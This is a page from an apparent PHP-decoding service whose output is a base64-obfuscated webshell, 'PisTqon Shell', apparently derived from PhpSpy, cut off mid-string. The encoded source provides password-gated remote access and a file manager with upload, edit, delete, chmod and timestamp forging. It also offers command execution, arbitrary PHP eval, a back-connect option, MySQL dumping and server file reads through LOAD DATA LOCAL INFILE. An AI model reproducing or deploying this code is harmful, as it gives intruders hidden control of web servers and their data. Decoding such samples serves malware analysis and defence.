Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("PD9waHAgDQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi..

Decoded Output download

<?  eval(base64_decode("PD9waHAgDQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiANCg0KPT09PT09PT09PT09PT09PT09PT09ICAgICAgICA/PyAgID8gICAgICA/ID8gICAgPyAgID8/ID09PT09PT09PT09PT09PT09PT09IA0KDQogICAgID8/ICA/ID8gID8/ICA/ICAgKiA/Pz8gIA0KDQogID8gICAgICAgID8/ID8gICBTbmlwZXJcU3VwZXIgIEhlaVxrRXZpbjE5ODZcc2FpeVx3b2ZlaXdvICAgDQoNCiAgPyAgID8gICAgICA/ICA/ICA/ICAgPyAgID8/ICA/ID8gPyAgDQoNCj8gICAgMSAgNyA/ICAgICA/ID8gICAgICAgID8gICAgPyA/PyAgID8gICAgICA/ICAgICAqICAgICANCg0KPT09PT09PT09PT09PT09PT09PT09PSAgICAgPz8gID8gID8gIMO/Pz8gICA/PyAgPyAgPT09PT09PT09PT09PT09PT09PT09PT0gDQoNCkNvZHogYnkgUGlzVHFvbiANCg0KTWFrZSBpbiBUdXJrc2gNCg0KDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCmVycm9yX3JlcG9ydGluZyg3KTsgDQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyANCm9iX3N0YXJ0KCk7IA0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgDQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOyANCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7IA0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7IA0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOyANCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7IA0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsgDQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsgDQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7IA0KQHNldF90aW1lX2xpbWl0KDApOyANCg0KZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7IA0KICAgIGZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7IA0KICAgICAgICBpZiAoJF9rZXl7MH0gIT0gJ18nKSB7IA0KICAgICAgICAgICAgaWYgKElTX0dQQykgeyANCiAgICAgICAgICAgICAgICAkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJCRfa2V5ID0gJF92YWx1ZTsgDQogICAgICAgIH0gDQogICAgfSANCn0gDQoNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gICAgPyAgICA9PT09PT09PT09PT09PT09PT09PT0qLyANCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgeyANCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7IA0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1JykgeyANCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsgDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsgDQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsgDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsgDQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7IA0KfSANCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107IA0KJHRpbWVzdGFtcCA9IHRpbWUoKTsgDQoNCi8qPT09PT09PT09PT09PT09PT09PT09ICAgICAgID8gPT09PT09PT09PT09PT09PT09PT09Ki8gDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0IikgeyANCiAgICBzY29va2llKCdwaHBzcHlwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7IA0KICAgIHAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7IA0KICAgIHAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOyANCiAgICBleGl0OyANCn0gDQppZigkYWRtaW5bJ2NoZWNrJ10pIHsgDQogICAgaWYgKCRkb2luZyA9PSAnbG9naW4nKSB7IA0KICAgICAgICBpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7IA0KICAgICAgICAgICAgc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNzd29yZCk7IA0KICAgICAgICAgICAgcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsgDQogICAgICAgICAgICBwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddKSB7IA0KICAgICAgICBpZiAoJF9DT09LSUVbJ3BocHNweXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgeyANCiAgICAgICAgICAgIGxvZ2lucGFnZSgpOyANCiAgICAgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgbG9naW5wYWdlKCk7IA0KICAgIH0gDQp9IA0KLyo9PT09PT09PT09PT09PT09PT09PT0gICA/ICAgICA9PT09PT09PT09PT09PT09PT09PT0qLyANCg0KJGVycm1zZyA9ICcnOyANCg0KLy8gID9QSFBJTkZPIA0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7IA0KICAgIGlmIChJU19QSFBJTkZPKSB7IA0KICAgICAgICBwaHBpbmZvKCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsgDQogICAgfSANCn0gDQoNCi8vICAgICAgPyAgDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsgDQogICAgaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7IA0KICAgICAgICAkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOyANCiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsgDQogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOyANCiAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOyANCiAgICAgICAgQHJlYWRmaWxlKCR0aGVmaWxlKTsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQp9IA0KDQovLyA/ICAgICA/ICAgICAgPyAgDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7IA0KICAgIGRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7IA0KICAgICR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsgDQogICAgJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7IA0KICAgIGlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsgDQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7IA0KICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7IA0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOyANCiAgICAkbXlzcWxkYXRhID0gJyc7IA0KICAgIHdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgIGlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7IA0KICAgICAgICAgICAgJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgbXlzcWxfY2xvc2UoKTsgDQogICAgZXhpdDsgDQp9IA0KDQovLyA/ICBNWVNRTCAgICAgPyAgDQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsgDQogICAgaWYgKCEkZGJuYW1lKSB7IA0KICAgICAgICAkZXJybXNnID0gJ1BsZWFzZSBpbnB1dCBkYm5hbWUnOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsgDQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgeyANCiAgICAgICAgICAgICRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUnKTsiKTsgDQogICAgICAgICAgICBpZighJHJlc3VsdCl7IA0KICAgICAgICAgICAgICAgIHEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsgDQogICAgICAgICAgICAgICAgcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7IA0KICAgICAgICAgICAgICAgIC8vICA/ICAgICAgICA/ID8gLCAgICAgICA/ID8gICAgICAgICAgX19hbmdlbF8xMTExMTExMTExX2VvZl9fICAgPyA/ICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIHEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7IA0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOyANCiAgICAgICAgICAgICAgICBxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOyANCiAgICAgICAgICAgIGlmICghJHJvdykgeyANCiAgICAgICAgICAgICAgICAkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOyANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOyANCiAgICAgICAgICAgICAgICBoZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsgDQogICAgICAgICAgICAgICAgZWNobyAkcm93WzBdOyANCiAgICAgICAgICAgICAgICBleGl0OyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCn0gDQoNCj8+IA0KPGh0bWw+IA0KPGhlYWQ+IA0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIj4gDQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLlMucC55Jyk7Pz4gfCBQaXNUcW9uIFNoZWxsPC90aXRsZT4gDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fSANCi5pbnB1dHtmb250OjEycHggQXJpYWwsVGFob21hO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O2hlaWdodDoyMnB4O30gDQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30gDQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fSANCmEge2NvbG9yOiAjMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fSANCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSANCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30gDQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9IA0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30gDQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30gDQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9IA0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fSANCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fSANCnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30gDQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9IA0KPC9zdHlsZT4gDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+IA0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgeyANCiAgICBmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgeyANCiAgICAgICAgdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOyANCiAgICAgICAgaWYgKGUubmFtZSAhPSAnY2hrYWxsJykgDQogICAgICAgIGUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7IA0KICAgIH0gDQp9IA0KZnVuY3Rpb24gJChpZCkgeyANCiAgICByZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOyANCn0gDQpmdW5jdGlvbiBnb2FjdGlvbihhY3QpeyANCiAgICAkKCdnb2FjdGlvbicpLmFjdGlvbi52YWx1ZT1hY3Q7IA0KICAgICQoJ2dvYWN0aW9uJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCjwvaGVhZD4gDQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+IA0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+IA0KICAgIDx0ciBjbGFzcz0iaGVhZCI+IA0KICAgICAgICA8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMDg8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+IA0KICAgIDwvdHI+IA0KICAgIDx0ciBjbGFzcz0iYWx0MSI+IA0KICAgICAgICA8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4gDQogICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPkxvZ291dDwvYT4gfCAgDQogICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8ICANCiAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4gDQogICAgICAgICAgICA8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYmFja2Nvbm5lY3QnKTsiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4gDQogICAgICAgIDwvdGQ+IA0KICAgIDwvdHI+IA0KPC90YWJsZT4gDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4gDQo8P3BocCANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7IA0KbWFrZWhpZGUoJ2FjdGlvbicpOyANCmZvcm1mb290KCk7IA0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7IA0KDQovLyAgID8gID/CtyAgIA0KISRkaXIgJiYgJGRpciA9ICcuJzsgDQokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7IA0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7IA0KICAgICRkaXIgPSAkZGlyLicvJzsgDQp9IA0KJHVlZGlyID0gdWUoJGRpcik7IA0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsgDQoNCiAgICAvLyAgPz8gPyAgICAgDQogICAgJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOyANCg0KICAgIC8vID8gID/CvCANCiAgICBpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7IA0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgeyANCiAgICAgICAgICAgIG0oJHRoZWZpbGUuJyBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICA/wrwgDQogICAgZWxzZWlmICgkbmV3ZGlybmFtZSkgeyANCiAgICAgICAgJG1rZGlycyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOyANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOyANCiAgICAgICAgICAgIEBjaG1vZCgkbWtkaXJzLDA3NzcpOyANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgLy8gID8gID8gIA0KICAgIGVsc2VpZiAoJGRvdXBmaWxlKSB7IA0KICAgICAgICBtKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgfSANCg0KICAgIC8vICAgICogPyAgDQogICAgZWxzZWlmICgkZWRpdGZpbGVuYW1lICYmICRmaWxlY29udGVudCkgeyANCiAgICAgICAgJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsgDQogICAgICAgIG0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgfSANCg0KICAgIC8vICAgICogPyAgICAgIA0KICAgIGVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7IA0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsgDQogICAgICAgICAgICBtKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgDQogICAgZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsgDQogICAgICAgICRubmFtZSA9ICRub3dwYXRoLiRuZXdmaWxlbmFtZTsgDQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsgDQogICAgICAgICAgICBtKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBtKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgPyAgDQogICAgZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgeyANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7IA0KICAgICAgICAgICAgbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgwqE/ICAgDQogICAgZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmlsZSkgeyANCiAgICAgICAgaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7IA0KICAgICAgICAgICAgbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICA/ICAgPyAgIA0KICAgIGVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7IA0KICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsgDQogICAgICAgICAgICBtKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG9